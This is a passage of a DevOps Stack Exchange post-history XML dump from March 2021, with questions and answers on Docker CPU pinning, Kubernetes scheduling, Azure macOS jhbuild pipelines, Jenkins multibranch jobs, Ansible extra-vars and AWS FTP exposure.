  <row Id="41546" PostHistoryTypeId="5" PostId="13504" RevisionGUID="db956f18-b853-4e5a-b286-6eabf2a3d70d" CreationDate="2021-03-08T13:42:04.630" UserId="13139" Comment="Improve formatting and spelling" Text="I have a docker image that exposes a rest service. I have a 4 core machine. I run 4 docker containers with my image by limiting one core per docker container by using `--cpuset-cpus` flag.&#xD;&#xA;&#xD;&#xA;e.g.:&#xD;&#xA;&#xD;&#xA;    docker run -p 1:5000 --cpuset-cpus=&quot;1&quot;  imageName   &#xD;&#xA;    docker run -p 2:5000 --cpuset-cpus=&quot;2&quot;  imageName  &#xD;&#xA;    docker run -p 3:5000 --cpuset-cpus=&quot;3&quot;  imageName&#xD;&#xA;    docker run -p 4:5000 --cpuset-cpus=&quot;4&quot;  imageName &#xD;&#xA;&#xD;&#xA; 1. I trigger a rest api call to one of the docker containers and get the time taken for request to be almost 100 seconds.&#xD;&#xA; 2. Now I trigger 4 asynchronous requests to all 4 containers and I&#xD;&#xA;    expect that the time per request to be the same (i.e., 100 seconds) as&#xD;&#xA;    each container has one CPU each and the workload has not increased. But&#xD;&#xA;    the time taken goes up to almost 200 seconds per request.&#xD;&#xA;&#xD;&#xA; Can anyone provide some intuition why the time might go up?" ContentLicense="CC BY-SA 4.0" />
  <row Id="41547" PostHistoryTypeId="4" PostId="13504" RevisionGUID="db956f18-b853-4e5a-b286-6eabf2a3d70d" CreationDate="2021-03-08T13:42:04.630" UserId="13139" Comment="Improve formatting and spelling" Text="Performance of a docker container with dedicated CPU core change with other docker containers running processes" ContentLicense="CC BY-SA 4.0" />
  <row Id="41548" PostHistoryTypeId="24" PostId="13504" RevisionGUID="db956f18-b853-4e5a-b286-6eabf2a3d70d" CreationDate="2021-03-08T13:42:04.630" Comment="Proposed by 13139 approved by 40 edit id of 1350" ContentLicense="CC BY-SA 4.0" />
  <row Id="41549" PostHistoryTypeId="50" PostId="13294" RevisionGUID="7878fbcd-a828-463c-8096-a79f1435ead4" CreationDate="2021-03-08T14:04:45.457" UserId="-1" />
  <row Id="41550" PostHistoryTypeId="50" PostId="9078" RevisionGUID="9518da64-b9bd-4be8-8337-8a30801719c8" CreationDate="2021-03-08T18:02:00.183" UserId="-1" />
  <row Id="41551" PostHistoryTypeId="5" PostId="13488" RevisionGUID="66bbdfee-7c79-4f15-ad23-57dc3979501f" CreationDate="2021-03-08T20:51:21.783" UserId="23647" Comment="Adding details of how I resolved issue based on users input" Text="I have an elasticsearch cluster in a kubernetes cluster. I have the data pods going to memory optimized nodes which are tainted so that only the elasticsearch data pods get scheduled to the. Right now I have 3 memory optimized ec2 instances for these data pods. They are r5.2Xlarge's which have 64G of memory. Here is the output of one of these r5 nodes. (they all look the same)&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;Capacity:&#xD;&#xA;  attachable-volumes-aws-ebs:  25&#xD;&#xA;  cpu:                         8&#xD;&#xA;  ephemeral-storage:           32461564Ki&#xD;&#xA;  hugepages-1Gi:               0&#xD;&#xA;  hugepages-2Mi:               0&#xD;&#xA;  memory:                      65049812Ki&#xD;&#xA;  pods:                        110&#xD;&#xA;Allocatable:&#xD;&#xA;  attachable-volumes-aws-ebs:  25&#xD;&#xA;  cpu:                         8&#xD;&#xA;  ephemeral-storage:           29916577333&#xD;&#xA;  hugepages-1Gi:               0&#xD;&#xA;  hugepages-2Mi:               0&#xD;&#xA;  memory:                      64947412Ki&#xD;&#xA;  pods:                        110&#xD;&#xA;System Info:&#xD;&#xA;  Machine ID:                 ec223b5ea23ea6bd5b06e8ed0a733d2d&#xD;&#xA;  System UUID:                ec223b5e-a23e-a6bd-5b06-e8ed0a733d2d&#xD;&#xA;  Boot ID:                    798aca5f-d9e1-4c9f-b75d-e16f7ba2d514&#xD;&#xA;  Kernel Version:             5.4.0-1024-aws&#xD;&#xA;  OS Image:                   Ubuntu 20.04.1 LTS&#xD;&#xA;  Operating System:           linux&#xD;&#xA;  Architecture:               amd64&#xD;&#xA;  Container Runtime Version:  docker://19.3.11&#xD;&#xA;  Kubelet Version:            v1.18.10&#xD;&#xA;  Kube-Proxy Version:         v1.18.10&#xD;&#xA;Non-terminated Pods:          (5 in total)&#xD;&#xA;  Namespace                   Name                                                        CPU Requests  CPU Limits  Memory Requests  Memory Limits  AGE&#xD;&#xA;  ---------                   ----                                                        ------------  ----------  ---------------  -------------  ---&#xD;&#xA;  amazon-cloudwatch           fluentd-cloudwatch-tzsv4                                    100m (1%)     0 (0%)      200Mi (0%)       400Mi (0%)     21d&#xD;&#xA;  default                     prometheus-prometheus-node-exporter-tvmd4                   100m (1%)     0 (0%)      0 (0%)           0 (0%)         21d&#xD;&#xA;  es                          elasticsearch-data-0                                        500m (6%)     1 (12%)     8Gi (12%)        8Gi (12%)      14m&#xD;&#xA;  kube-system                 calico-node-dhxg5                                           100m (1%)     0 (0%)      0 (0%)           0 (0%)         21d&#xD;&#xA;  kube-system                 kube-proxy-ip-10-1-12-115.us-gov-west-1.compute.internal    100m (1%)     0 (0%)      0 (0%)           0 (0%)         21d&#xD;&#xA;Allocated resources:&#xD;&#xA;  (Total limits may be over 100 percent, i.e., overcommitted.)&#xD;&#xA;  Resource                    Requests      Limits&#xD;&#xA;  --------                    --------      ------&#xD;&#xA;  cpu                         900m (11%)    1 (12%)&#xD;&#xA;  memory                      8392Mi (13%)  8592Mi (13%)&#xD;&#xA;  ephemeral-storage           0 (0%)        0 (0%)&#xD;&#xA;  hugepages-1Gi               0 (0%)        0 (0%)&#xD;&#xA;  hugepages-2Mi               0 (0%)        0 (0%)&#xD;&#xA;  attachable-volumes-aws-ebs  0             0&#xD;&#xA;```&#xD;&#xA;Here is what my cluster looks like&#xD;&#xA;```&#xD;&#xA;kubectl get pods -n es&#xD;&#xA;NAME                                                 READY   STATUS    RESTARTS   AGE&#xD;&#xA;elasticsearch-client-0                               1/1     Running   0          77m&#xD;&#xA;elasticsearch-client-1                               1/1     Running   0          77m&#xD;&#xA;elasticsearch-data-0                                 1/1     Running   0          77m&#xD;&#xA;elasticsearch-data-1                                 1/1     Running   0          77m&#xD;&#xA;elasticsearch-data-2                                 1/1     Running   0          77m&#xD;&#xA;elasticsearch-data-3                                 0/1     Pending   0          77m&#xD;&#xA;elasticsearch-data-4                                 0/1     Pending   0          77m&#xD;&#xA;elasticsearch-data-5                                 0/1     Pending   0          77m&#xD;&#xA;elasticsearch-data-6                                 0/1     Pending   0          77m&#xD;&#xA;elasticsearch-data-7                                 0/1     Pending   0          77m&#xD;&#xA;elasticsearch-master-0                               2/2     Running   0          77m&#xD;&#xA;elasticsearch-master-1                               2/2     Running   0          77m&#xD;&#xA;prometheus-elasticsearch-exporter-6d6c5d49cf-4w7gc   1/1     Running   0          22h&#xD;&#xA;```&#xD;&#xA;Here is the events when I describe pod&#xD;&#xA;```&#xD;&#xA;Events:&#xD;&#xA;  Type     Reason            Age                  From               Message&#xD;&#xA;  ----     ------            ----                 ----               -------&#xD;&#xA;  Warning  FailedScheduling  56s (x5 over 3m35s)  default-scheduler  0/11 nodes are available: 3 Insufficient memory, 3 node(s) didn't match pod affinity/anti-affinity, 3 node(s) didn't satisfy existing pods anti-affinity rules, 5 node(s) didn't match node selector.&#xD;&#xA;```&#xD;&#xA;Here is my resource limits and requests for the data pods&#xD;&#xA;```&#xD;&#xA;    Limits:&#xD;&#xA;      cpu:     1&#xD;&#xA;      memory:  8Gi&#xD;&#xA;    Requests:&#xD;&#xA;      cpu:      500m&#xD;&#xA;      memory:   8Gi&#xD;&#xA;```&#xD;&#xA;Here is what my nodeAffinity looks like&#xD;&#xA;```&#xD;&#xA;nodeAffinity:&#xD;&#xA;  requiredDuringSchedulingIgnoredDuringExecution:&#xD;&#xA;    nodeSelectorTerms:&#xD;&#xA;    - matchExpressions:&#xD;&#xA;      - key: es-data&#xD;&#xA;        operator: In&#xD;&#xA;        values:&#xD;&#xA;        - &quot;true&quot;&#xD;&#xA;```&#xD;&#xA;And my tolerations&#xD;&#xA;```&#xD;&#xA;tolerations:&#xD;&#xA;  - key: &quot;es-data&quot;&#xD;&#xA;    operator: &quot;Equal&quot;&#xD;&#xA;    value: &quot;true&quot;&#xD;&#xA;    effect: &quot;NoSchedule&quot;&#xD;&#xA;```&#xD;&#xA;And here is my node tolerance when I describe the node&#xD;&#xA;```&#xD;&#xA;Taints:             es-data=true:NoSchedule&#xD;&#xA;```&#xD;&#xA;I tainted it like&#xD;&#xA;```&#xD;&#xA;kubectl taint nodes &lt;node&gt; es-data=true:NoSchedule&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;According to my calculations based on my understand (which is probably wrong) my data pods are only asking for 8G of memory from a node which has 64G available, and only one pod requesting 8G of memory is already using it. So it should have theoretically 56G of memory left to other pods requesting to be scheduled to it. And even the memory being used shows me it's only 13% used. Why can't it schedule? How can I troubleshoot? Am I misunderstanding how this should work? What else can I tell you which helps troubleshoot this?&#xD;&#xA;&#xD;&#xA;Resolution: Based on Hakob's comments, the issue is that I had `nodeAffinity.requiredDuringSchedulingIgnoredDuringExecution` set, which is a hard requirement directing the scheduler to only schedule one to each node. What I needed to do in order to schedule more than one to each node was change it to `nodeSelector`. If you are reaching this, please note Hakob's recommendation for why it is not suggested best practice to do this. I agree with that advice. Though in my case it is a requirement coming from client and did not have the option even after have discussion why they should not be doing this. So please take that into consideration when applying this change." ContentLicense="CC BY-SA 4.0" />
  <row Id="41552" PostHistoryTypeId="2" PostId="13506" RevisionGUID="baad5bc0-df71-4049-9be6-f5586a7fa9b8" CreationDate="2021-03-08T23:28:54.763" UserId="26509" Text="I had this problem too, coming from github where you can usually resolve text file changes in browser. &#xD;&#xA;&#xD;&#xA;On your local repo, you want to get the latest then reverse-merge, so in your case &#xD;&#xA;&#xD;&#xA;    // Precursor to ensure your local is the same as origin&#xD;&#xA;    git pull master&#xD;&#xA;    git checkout feature/ENGA-2514&#xD;&#xA;    git pull feature/ENGA-2514 &#xD;&#xA;&#xD;&#xA;    // include all of the other branches changes into yours. &#xD;&#xA;    git merge master &#xD;&#xA;&#xD;&#xA;    // This is where you'll be able to resolve the conflicts locally &#xD;&#xA;    // and commit the merge into feature/ENGA-2514&#xD;&#xA;&#xD;&#xA;    git push feature/ENGA-2514&#xD;&#xA;&#xD;&#xA;Then your branch wont conflict with master in devops, since youve just merged master into your branch." ContentLicense="CC BY-SA 4.0" />
  <row Id="41553" PostHistoryTypeId="2" PostId="13507" RevisionGUID="fd4ee58a-1ce8-4e39-990c-ee439cc8fa5d" CreationDate="2021-03-09T11:53:42.223" UserId="26519" Text="I try to update a mac-pipeline for an open source project.&#xD;&#xA;This project requires to build the dependencies over jhbuild.&#xD;&#xA;&#xD;&#xA;Currently, it uses a binary blob, which contains the jhbuild env and all prebuild deps.&#xD;&#xA;I want to get rid of the blob, because it slows the release progress (we can't bump the mac version, since we can't generate a blob).&#xD;&#xA;&#xD;&#xA;What I tried so far:&#xD;&#xA;The original version uninstalled brew every time, but this increased build time by 5 minutes, this is ok for a release, but not to validate PR's.&#xD;&#xA;&#xD;&#xA;So I've tried, what the [gnome-devs suggested](https://wiki.gnome.org/Projects/GTK/OSX/Building), to create a new user.&#xD;&#xA;Creating the new user and executing the scripts with the new user worked.&#xD;&#xA;But the script failed with an error in `&quot;/Users/git-bin/.new_local/bin/pipenv&quot;`&#xD;&#xA;&#xD;&#xA;I also tried to unlink all brew symbolic links, which took more than 7 minutes.&#xD;&#xA;&#xD;&#xA;Is uninstalling brew the only way it works?&#xD;&#xA;&#xD;&#xA;We use continuous-integration.yml:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;trigger:&#xD;&#xA;  branches:&#xD;&#xA;    include:&#xD;&#xA;      - '*'&#xD;&#xA;    exclude:&#xD;&#xA;      - stable&#xD;&#xA;      - l10n_master&#xD;&#xA;  paths:&#xD;&#xA;    exclude:&#xD;&#xA;      - po/xournalpp.pot&#xD;&#xA;      - po/*.po&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;stages:&#xD;&#xA;  - stage: 'Build_Test_Stage'&#xD;&#xA;    jobs:&#xD;&#xA;      - job: macOS&#xD;&#xA;        pool:&#xD;&#xA;          vmImage: 'macOS-10.15'&#xD;&#xA;        displayName: 'Test Xournal++ on MacOS'&#xD;&#xA;        steps:&#xD;&#xA;          - template: steps/build_mac.yml&#xD;&#xA;            parameters:&#xD;&#xA;              build_type: 'Debug'&#xD;&#xA;              cmake_flags: '-DCMAKE_DEBUG_INCLUDES_LDFLAGS=ON -DENABLE_CPPUNIT=ON -DDEBUG_COMPILE=ON'&#xD;&#xA;          - bash: |&#xD;&#xA;              export PATH=&quot;$HOME/.local/bin:/Users/git-bin/gtk/inst/bin:$PATH&quot;&#xD;&#xA;              install_name_tool -add_rpath /Users/git-bin/gtk/inst/lib/. test/test-loadHandler&#xD;&#xA;              install_name_tool -add_rpath /Users/git-bin/gtk/inst/lib/. test/test-util&#xD;&#xA;              CI=true ctest --verbose&#xD;&#xA;            workingDirectory: ./build&#xD;&#xA;            displayName: 'Run tests'&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;and&#xD;&#xA;&#xD;&#xA;build_mac.yml:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;parameters:&#xD;&#xA;  build_type: ''&#xD;&#xA;  cmake_flags: ''&#xD;&#xA;  jhbuild_user: 'git-bin'&#xD;&#xA;&#xD;&#xA;steps:&#xD;&#xA;  - bash: |&#xD;&#xA;      sudo mkdir /Users/${{ parameters.jhbuild_user }}&#xD;&#xA;      sudo dscl . -create /Users/${{ parameters.jhbuild_user }}&#xD;&#xA;      sudo dscl . -create /Users/${{ parameters.jhbuild_user }} UserShell /bin/bash&#xD;&#xA;      sudo dscl . -create /Users/${{ parameters.jhbuild_user }} RealName &quot;gtk-bin&quot;&#xD;&#xA;      sudo dscl . -create /Users/${{ parameters.jhbuild_user }} UniqueID &quot;1011&quot;&#xD;&#xA;      sudo dscl . -create /Users/${{ parameters.jhbuild_user }} PrimaryGroupID 20&#xD;&#xA;      sudo dscl . -create /Users/${{ parameters.jhbuild_user }} NFSHomeDirectory /Users/${{ parameters.jhbuild_user }}&#xD;&#xA;      sudo dscl . -passwd /Users/${{ parameters.jhbuild_user }} password&#xD;&#xA;      sudo chown -R ${{ parameters.jhbuild_user }}: /Users/${{ parameters.jhbuild_user }}&#xD;&#xA;      sudo -H -i -u ${{ parameters.jhbuild_user }} chmod -R 777 /Users/${{ parameters.jhbuild_user }}&#xD;&#xA;      #echo &quot;${{ parameters.jhbuild_user }}     ALL=(ALL) NOPASSWD:ALL&quot; | sudo tee -a /etc/sudoers&#xD;&#xA;    displayName: &quot;create new user&quot;&#xD;&#xA;    timeoutInMinutes: 5&#xD;&#xA;  - bash: |&#xD;&#xA;      whoami&#xD;&#xA;      cd mac-setup&#xD;&#xA;      sudo -H -i -u ${{ parameters.jhbuild_user }} &quot;$PWD&quot;/build-gtk3.sh&#xD;&#xA;    displayName: 'Install jhbuild and build gtk+'&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;build-gtk3.sh:&#xD;&#xA;```&#xD;&#xA;#!/bin/bash -x&#xD;&#xA;set -x&#xD;&#xA;export PATH=&quot;$HOME/.new_local/bin:$PATH&quot;&#xD;&#xA;&#xD;&#xA;curl -L -O https://gitlab.gnome.org/GNOME/gtk-osx/raw/master/gtk-osx-setup.sh&#xD;&#xA;chmod +x gtk-osx-setup.sh&#xD;&#xA;./gtk-osx-setup.sh&#xD;&#xA;jhbuild bootstrap-gtk-osx&#xD;&#xA;jhbuild build meta-gtk-osx-bootstrap meta-gtk-osx-gtk3&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41554" PostHistoryTypeId="1" PostId="13507" RevisionGUID="fd4ee58a-1ce8-4e39-990c-ee439cc8fa5d" CreationDate="2021-03-09T11:53:42.223" UserId="26519" Text="How to use jhbuild on azure-hosted-mac without uninstalling homebrew" ContentLicense="CC BY-SA 4.0" />
  <row Id="41555" PostHistoryTypeId="3" PostId="13507" RevisionGUID="fd4ee58a-1ce8-4e39-990c-ee439cc8fa5d" CreationDate="2021-03-09T11:53:42.223" UserId="26519" Text="&lt;azure-devops&gt;&lt;azure-pipelines&gt;&lt;bash&gt;&lt;macos&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41556" PostHistoryTypeId="2" PostId="13508" RevisionGUID="b752689e-96b6-40a8-a1e4-422e9ec07e46" CreationDate="2021-03-09T17:08:39.287" UserId="4115" Text="I suspect this job name is the issue:&#xD;&#xA;&#xD;&#xA;    build job: 'second_job_name'&#xD;&#xA;&#xD;&#xA;In a Multibranch pipeline, there are typically folders in the job name.  For instance, if you have a Multibranch project named &quot;my_project&quot;, a repo in that project named &quot;my_repo&quot;, and a branch within that repo that you wish to build, let's say &quot;master&quot;, then your build command would look like:&#xD;&#xA;&#xD;&#xA;    build job: 'my_project/my_repo/master'&#xD;&#xA;&#xD;&#xA;If you only specify up to the project or repo level in your job name, but don't include the branch, instead of running a build for the branch, Jenkins will scan for updates to all branches within that project/repo, and build any new commits which it hasn't yet built.  This results in exactly the symptoms you described:&#xD;&#xA;&#xD;&#xA;&gt; The only time this setup works as expected, is when there are new commits to all 3 git repos. Then all 3 jobs are triggered sequentially without issues.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41560" PostHistoryTypeId="2" PostId="13510" RevisionGUID="ec8777fc-0a71-4c80-8fcd-72759e28f5ea" CreationDate="2021-03-09T19:47:40.513" UserId="26526" Text="I am quite new to DevOps and Jenkins in particular. I have played around and created some pipelines jobs. I wanted now to start practicing with a jenkins in local, and apply CI-CD to an small project I had. I have created a multibranch pipeline. which will have 3 repos (front, back, integration). The first 2 repos have 2 jenkinsfile each in the root folder (Jenkinsfile.ci and Jenkinsfile.cd) but when I scan the multibranch pipeline it says no Jenkinsfile has been found. How would be the right way to do this? " ContentLicense="CC BY-SA 4.0" />
  <row Id="41561" PostHistoryTypeId="1" PostId="13510" RevisionGUID="ec8777fc-0a71-4c80-8fcd-72759e28f5ea" CreationDate="2021-03-09T19:47:40.513" UserId="26526" Text="how can I make jenkins find 2 jenkinsfile in a repo with multibranch?" ContentLicense="CC BY-SA 4.0" />
  <row Id="41562" PostHistoryTypeId="3" PostId="13510" RevisionGUID="ec8777fc-0a71-4c80-8fcd-72759e28f5ea" CreationDate="2021-03-09T19:47:40.513" UserId="26526" Text="&lt;jenkins&gt;&lt;jenkins-plugins&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41563" PostHistoryTypeId="2" PostId="13511" RevisionGUID="fc899fce-785e-4853-9cca-907550062720" CreationDate="2021-03-10T03:48:29.110" UserId="25761" Text="You need to update your multibranch pipeline build configuration to use **Jenkinsfile.ci** and **Jenkinsfile.cd** instead of **Jenkinsfile**. And you would have to create two multibranch pipelines, one for Jenkinsfile.ci and other for running Jenkinsfile.cd.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41564" PostHistoryTypeId="2" PostId="13512" RevisionGUID="8f126fc6-9591-455b-b7af-9a9fe20fd2e4" CreationDate="2021-03-10T07:48:07.287" UserId="26533" Text="I have a very simple setup here (solo IT guy): we have a on-prem server which runs some services. They should produce e.g. a daily logfile. I'd like to get a notification if this doesn't happen for some reason. I make a script, activated from cron, that checks this and sends me an email if it doesn't happen. However, this obviously doesn't work if e.g. the entire server goes down, my email script has a bug, etc, so I'd like to have the converse: have a daily check and get an email if it did NOT ran. I do have this with www.duplicati-monitoring.com: I get an email even if my on-prem server is down. I'd like to extend this to more infrastructure tests.&#xD;&#xA;&#xD;&#xA;How is such a system called? Are there websites (preferrably free / open source) offering this? I looked at eg nagios, but it seems far too big, and it seems that I need to host it myself." ContentLicense="CC BY-SA 4.0" />
  <row Id="41565" PostHistoryTypeId="1" PostId="13512" RevisionGUID="8f126fc6-9591-455b-b7af-9a9fe20fd2e4" CreationDate="2021-03-10T07:48:07.287" UserId="26533" Text="Simple service to check infrastructure status" ContentLicense="CC BY-SA 4.0" />
  <row Id="41566" PostHistoryTypeId="3" PostId="13512" RevisionGUID="8f126fc6-9591-455b-b7af-9a9fe20fd2e4" CreationDate="2021-03-10T07:48:07.287" UserId="26533" Text="&lt;monitoring&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41567" PostHistoryTypeId="2" PostId="13513" RevisionGUID="daf10bce-87d9-417c-8ce5-a4400f26424e" CreationDate="2021-03-10T10:19:56.497" UserId="26536" Text="DISCLAIMER: My question is NOT a duplicate of [this question][1].&#xD;&#xA;&#xD;&#xA;I am trying to run a playbook with two vars passed to it.&#xD;&#xA;Here's the playbook:&#xD;&#xA;```&#xD;&#xA;[ andriim@mtr-vdi-273 ~/work/NFSoRDMA ] $ cat ansible/playbooks/test-rping.yaml&#xD;&#xA;---&#xD;&#xA;- hosts: &quot;{{ srv_os }}&quot;&#xD;&#xA;  gather_facts: true&#xD;&#xA;  roles:&#xD;&#xA;    - role: tests-rping&#xD;&#xA;      vars:&#xD;&#xA;        rping_server_ip: &quot;{{ hostvars[groups[srv_os][0]]['ip'] }}&quot;&#xD;&#xA;        side: &quot;server&quot;&#xD;&#xA;&#xD;&#xA;- hosts: &quot;{{ clt_os }}&quot;&#xD;&#xA;  gather_facts: true&#xD;&#xA;  roles:&#xD;&#xA;    - role: tests-rping&#xD;&#xA;      vars:&#xD;&#xA;        rping_server_ip: &quot;{{ hostvars[groups[srv_os][0]]['ip'] }}&quot;&#xD;&#xA;        side: &quot;client&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Here's how I'm trying to run it and what's happening:&#xD;&#xA;```&#xD;&#xA;[ andriim@mtr-vdi-273 ~/work/NFSoRDMA ] $ sudo ANSIBLE_CONFIG=ansible/ansible.cfg ansible-playbook -i ansible/inventory/hosts ansible/playbooks/test-rping.yaml -e 'srv_os=rhel83 clt_os=rhel79' -l rhel83:rhel79&#xD;&#xA;usage: ansible-playbook [-h] [--version] [-v] [-k]&#xD;&#xA;                        [--private-key PRIVATE_KEY_FILE] [-u REMOTE_USER]&#xD;&#xA;                        [-c CONNECTION] [-T TIMEOUT]&#xD;&#xA;                        [--ssh-common-args SSH_COMMON_ARGS]&#xD;&#xA;                        [--sftp-extra-args SFTP_EXTRA_ARGS]&#xD;&#xA;                        [--scp-extra-args SCP_EXTRA_ARGS]&#xD;&#xA;                        [--ssh-extra-args SSH_EXTRA_ARGS] [--force-handlers]&#xD;&#xA;                        [--flush-cache] [-b] [--become-method BECOME_METHOD]&#xD;&#xA;                        [--become-user BECOME_USER] [-K] [-t TAGS]&#xD;&#xA;                        [--skip-tags SKIP_TAGS] [-C] [--syntax-check] [-D]&#xD;&#xA;                        [-i INVENTORY] [--list-hosts] [-l SUBSET]&#xD;&#xA;                        [-e EXTRA_VARS] [--vault-id VAULT_IDS]&#xD;&#xA;                        [--ask-vault-pass | --vault-password-file VAULT_PASSWORD_FILES]&#xD;&#xA;                        [-f FORKS] [-M MODULE_PATH] [--list-tasks]&#xD;&#xA;                        [--list-tags] [--step] [--start-at-task START_AT_TASK]&#xD;&#xA;                        playbook [playbook ...]&#xD;&#xA;ansible-playbook: error: unrecognized arguments: clt_os=rhel79&#xD;&#xA;```&#xD;&#xA;What am I doing wrong?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/questions/8996/error-passing-arguments-to-ansible-playbook" ContentLicense="CC BY-SA 4.0" />
  <row Id="41568" PostHistoryTypeId="1" PostId="13513" RevisionGUID="daf10bce-87d9-417c-8ce5-a4400f26424e" CreationDate="2021-03-10T10:19:56.497" UserId="26536" Text="Error passing multiple EXTRA_VARS to Ansible playbook" ContentLicense="CC BY-SA 4.0" />
  <row Id="41569" PostHistoryTypeId="3" PostId="13513" RevisionGUID="daf10bce-87d9-417c-8ce5-a4400f26424e" CreationDate="2021-03-10T10:19:56.497" UserId="26536" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41570" PostHistoryTypeId="2" PostId="13514" RevisionGUID="9f5cf278-9b8f-4748-8d63-fd38d7e69cee" CreationDate="2021-03-10T15:26:04.240" UserId="8157" Text="We use AWS Inspector to identify risks with our AWS assets. Today I received a finding, with a &quot;high&quot; severity. The finding said that the FTP port was open to the internet. However, after reviewing the security group associated with the instance, I saw that the FTP port is only open to a set of whitelisted IP addresses that are trusted.&#xD;&#xA;&#xD;&#xA;Does this really constitute a high severity in your opinion? Is it problematic to open ports to the internet with a specific set of whitelisted IPs?" ContentLicense="CC BY-SA 4.0" />
  <row Id="41571" PostHistoryTypeId="1" PostId="13514" RevisionGUID="9f5cf278-9b8f-4748-8d63-fd38d7e69cee" CreationDate="2021-03-10T15:26:04.240" UserId="8157" Text="AWS Inspector &quot;High Risk&quot; : port open to the internet with IP whitelisting" ContentLicense="CC BY-SA 4.0" />
  <row Id="41572" PostHistoryTypeId="3" PostId="13514" RevisionGUID="9f5cf278-9b8f-4748-8d63-fd38d7e69cee" CreationDate="2021-03-10T15:26:04.240" UserId="8157" Text="&lt;amazon-web-services&gt;&lt;security&gt;&lt;networking&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41573" PostHistoryTypeId="2" PostId="13515" RevisionGUID="b1d280ca-0ae5-47cd-aee6-fe686ceefbaf" CreationDate="2021-03-10T15:45:59.843" UserId="4328" Text="If it is FTP (and not FTPS) then yes, it is a high severity risk. You are sending unencrypted traffic over the open internet. Even if you are whitelisting specific IP addresses, the traffic is still unencrypted between those specific instances.&#xD;&#xA;&#xD;&#xA;In addition, FTP is a very old (created in 1971) and non-secure protocol. It is not meant to be a secure method of transferring files. I recommend you research some of the security concerns with FTP and switch to either FTPS or more preferably, use a more native AWS approach for transferring files between instances. If your organization is under any regulation (FEDRAMP, HIPPA, etc.), using FTP across the open internet will not meet the compliance requirements. " ContentLicense="CC BY-SA 4.0" />
  <row Id="41574" PostHistoryTypeId="2" PostId="13516" RevisionGUID="6b570e1d-890f-469c-9f16-f24316ceaa23" CreationDate="2021-03-10T16:14:01.790" UserId="26306" Text="I scheduled a Visual Studio build via Azure DevOps, which failed. I want to open the file structure and run some tests manually to see exactly what is wrong.&#xD;&#xA;&#xD;&#xA;I cannot find anyway to see where this build lives on disk. I know the build Id and I have retained the build, but the file structure in our build location doesn't seem to bear any resemblance. I thought there would be a button or at least a log saying exactly where the files _are_, is this not the case?" ContentLicense="CC BY-SA 4.0" />
  <row Id="41575" PostHistoryTypeId="1" PostId="13516" RevisionGUID="6b570e1d-890f-469c-9f16-f24316ceaa23" CreationDate="2021-03-10T16:14:01.790" UserId="26306" Text="How can I find my build on disk?" ContentLicense="CC BY-SA 4.0" />
  <row Id="41576" PostHistoryTypeId="3" PostId="13516" RevisionGUID="6b570e1d-890f-469c-9f16-f24316ceaa23" CreationDate="2021-03-10T16:14:01.790" UserId="26306" Text="&lt;azure-devops&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41577" PostHistoryTypeId="2" PostId="13517" RevisionGUID="3417cb07-b39f-497d-bb95-62f927f6e550" CreationDate="2021-03-10T16:20:43.317" UserId="2901" Text="I am planning on deploying an SFTP server that moves the files to Azure Blob Storage Containers and then on to a REST API.&#xD;&#xA;&#xD;&#xA;Originally I was planning on using Azure Functions to process the file and send it to the API.&#xD;&#xA;&#xD;&#xA;However, the security review has said that I would need to secure Azure Functions, which is extra work and maybe unnecessary with the following alternative approach.&#xD;&#xA;&#xD;&#xA;The alternative approach is that when the file arrives, I run a webhook (from the storage account) that sends the file to the REST API directly.&#xD;&#xA;&#xD;&#xA;After the webhook has run and the REST API reports success I would like to move the blob to a different container to indicate that it has been processed.&#xD;&#xA;&#xD;&#xA;If the REST API fails I would probably want to keep the blob in the original container so it can be sent to the API a second time for processing.&#xD;&#xA;&#xD;&#xA;How can I move the blob to a different container after the rest api/webhook has reported success?" ContentLicense="CC BY-SA 4.0" />
  <row Id="41578" PostHistoryTypeId="1" PostId="13517" RevisionGUID="3417cb07-b39f-497d-bb95-62f927f6e550" CreationDate="2021-03-10T16:20:43.317" UserId="2901" Text="How Can I Move A Blob After A WebHook Has Processed It?" ContentLicense="CC BY-SA 4.0" />
  <row Id="41579" PostHistoryTypeId="3" PostId="13517" RevisionGUID="3417cb07-b39f-497d-bb95-62f927f6e550" CreationDate="2021-03-10T16:20:43.317" UserId="2901" Text="&lt;azure-devops&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41580" PostHistoryTypeId="5" PostId="13513" RevisionGUID="b8e3fbc0-a5a1-488a-aa17-ef2ab02183bb" CreationDate="2021-03-10T17:12:29.490" UserId="26536" Comment="Moving -e before the playbook did not help:" Text="DISCLAIMER: My question is NOT a duplicate of [this question][1].&#xD;&#xA;&#xD;&#xA;I am trying to run a playbook with two vars passed to it.&#xD;&#xA;Here's the playbook:&#xD;&#xA;```&#xD;&#xA;[ andriim@mtr-vdi-273 ~/work/NFSoRDMA ] $ cat ansible/playbooks/test-rping.yaml&#xD;&#xA;---&#xD;&#xA;- hosts: &quot;{{ srv_os }}&quot;&#xD;&#xA;  gather_facts: true&#xD;&#xA;  roles:&#xD;&#xA;    - role: tests-rping&#xD;&#xA;      vars:&#xD;&#xA;        rping_server_ip: &quot;{{ hostvars[groups[srv_os][0]]['ip'] }}&quot;&#xD;&#xA;        side: &quot;server&quot;&#xD;&#xA;&#xD;&#xA;- hosts: &quot;{{ clt_os }}&quot;&#xD;&#xA;  gather_facts: true&#xD;&#xA;  roles:&#xD;&#xA;    - role: tests-rping&#xD;&#xA;      vars:&#xD;&#xA;        rping_server_ip: &quot;{{ hostvars[groups[srv_os][0]]['ip'] 